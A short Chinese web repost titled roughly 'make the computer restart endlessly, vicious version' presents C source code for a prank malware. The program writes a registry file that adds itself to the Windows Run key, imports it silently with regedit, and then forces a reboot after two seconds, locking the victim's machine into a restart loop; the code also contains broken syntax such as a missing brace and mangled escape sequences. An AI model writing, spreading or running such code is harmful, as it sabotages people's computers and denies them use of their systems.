让电脑无限重启,阴毒版

来源:互联网 发布:工地工作日志软件 编辑:程序博客网 时间:2024/05/02 08:36

#include<stdio.h> 
#include<dos.h> 
#include<process.h> 
int main() 

int flag; 
FILE *fp; 
fp=fopen("c://windows//system32//console.reg","wb"); 
fprintf(fp,"%s/n","REGEDIT4"); 
fprintf(fp,"%s","[HKEY_LOCAL_MACHINE//Software//Microsoft//Windows//CurrentVersion//Run]/n/"MyRegist/"=/"c:////windows////system32////console.exe/""); 
fclose(fp); 
flag=system("regedit /s c://windows//system32//console.reg"); 
system("shutdown -r -t 2 -c   By:spygg"); 
return 0;
}

原创粉丝点击